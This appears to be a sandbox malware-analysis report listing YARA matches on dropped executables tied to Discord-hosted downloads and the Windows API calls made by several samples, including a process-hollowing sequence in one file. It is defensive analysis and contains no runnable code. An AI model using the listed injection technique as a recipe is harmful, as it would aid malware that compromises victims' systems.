Source: C:\Users\user\AppData\Local\Temp\EDD.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\319A.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\8746.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\5D4.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\89D7.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: String function: 0041D0F0 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: String function: 004212D0 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Code function: String function: 0040B550 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: String function: 6A96D08C appears 41 times
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: String function: 6A91B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: String function: 6A9A5720 appears 76 times

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040185B Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_00401866 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040187A Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040163B NtMapViewOfSection,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_004018D3 NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_00401884 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_00401888 NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_0040156A NtMapViewOfSection,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_004015DB NtMapViewOfSection,NtMapViewOfSection,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_2_004017EA Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_1_0040156A NtMapViewOfSection,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_1_004015DB NtMapViewOfSection,NtMapViewOfSection,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 4_1_0040163B NtMapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040185B Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_00401866 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040187A Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040163B NtMapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_004018D3 NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_00401884 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_00401888 NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_0040156A NtMapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_004015DB NtMapViewOfSection,NtMapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Code function: 20_2_004017EA Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_02C70110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040185B Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_00401866 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040187A Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040163B NtMapViewOfSection,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_004018D3 NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_00401884 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_00401888 NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_0040156A NtMapViewOfSection,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_004015DB NtMapViewOfSection,NtMapViewOfSection,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_2_004017EA Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_1_0040156A NtMapViewOfSection,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_1_004015DB NtMapViewOfSection,NtMapViewOfSection,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 26_1_0040163B NtMapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_0040181C Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402406 NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00401F25 NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00401828 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_00402431 NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_004017DA Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_004017F8 NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_0040209A NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_004017A3 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9598C0 ZwDuplicateObject,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959820 ZwEnumerateKey,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959860 ZwQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9599A0 ZwCreateSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959600 ZwOpenKey,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95967A NtQueryInformationProcess,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959660 ZwAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959780 ZwMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AA90 ZwQuerySystemInformationEx,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B280 ZwWow64DebuggerCall,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959AB0 ZwWaitForMultipleObjects,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94E2BB ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91BAA0 RtlpLoadMachineUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlpLoadMachineUIByPolicy,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9152A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1AD6 ZwFreeVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AAC0 ZwQueryWnfStateNameInformation,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AAE0 ZwRaiseException,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959AE0 ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E216 RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959A00 ZwProtectVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959A30 ZwTerminateThread,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A918239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A4A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AA20 ZwQuerySecurityAttributesToken,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959A50 ZwCreateFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A390 ZwGetCachedSigningLevel,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94939F RtlInitializeCriticalSectionEx,ZwDelayExecution,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A3A0 ZwGetCompleteWnfStateSubscription,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959BF0 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9123F6 ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D131B RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A945306 ZwReleaseKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959B00 ZwSetValueKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919335 ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B48 ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AB70 ZwReleaseWorkerFactoryWorker,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A8372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A943B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912B7E ZwSetInformationThread,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AB60 ZwReleaseKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A926B6B ZwQueryAttributesFile,RtlDeleteBoundaryDescriptor,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A997365 RtlRunOnceExecuteOnce,ZwQuerySystemInformation,RtlCaptureContext,memset,RtlReportException,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A890 ZwQueryDebugFilterState,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959890 ZwFsControlFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95108B ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B0B0 ZwTraceControl,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9418B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93F0AE ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C60A2 ZwQueryInformationFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9510D7 ZwOpenKey,ZwCreateKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9598D0 ZwQueryAttributesFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A0D0 ZwCreateTimer2,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9170C0 ZwClose,RtlFreeHeap,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9500C2 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9140FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C60E9 ZwOpenKey,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CE0E9 RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959830 ZwOpenFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959850 ZwQueryDirectoryFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8858 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959840 ZwDelayExecution,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92106F ZwOpenKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959990 ZwQueryVolumeInformationFile,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DA189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B180 ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959980 ZwCreateEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A980 ZwQueryInstallUILanguage,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C6186 ZwQueryValueKey,memmove,RtlInitUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A9B0 ZwQueryLicenseValue,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9951BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B1A0 ZwWaitForKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A19C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F1E4 ZwEnumerateValueKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E89E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E9ED RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959900 ZwOpenEvent,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9B5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,RtlAssert,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A193B ZwRaiseException,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A130 ZwCreateWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF13B ZwOpenKey,ZwCreateKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 RtlAllocateHeap,memmove,memmove,RtlPrefixUnicodeString,RtlAllocateHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959920 ZwDuplicateToken,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B150 ZwUnsubscribeWnfStateChange,
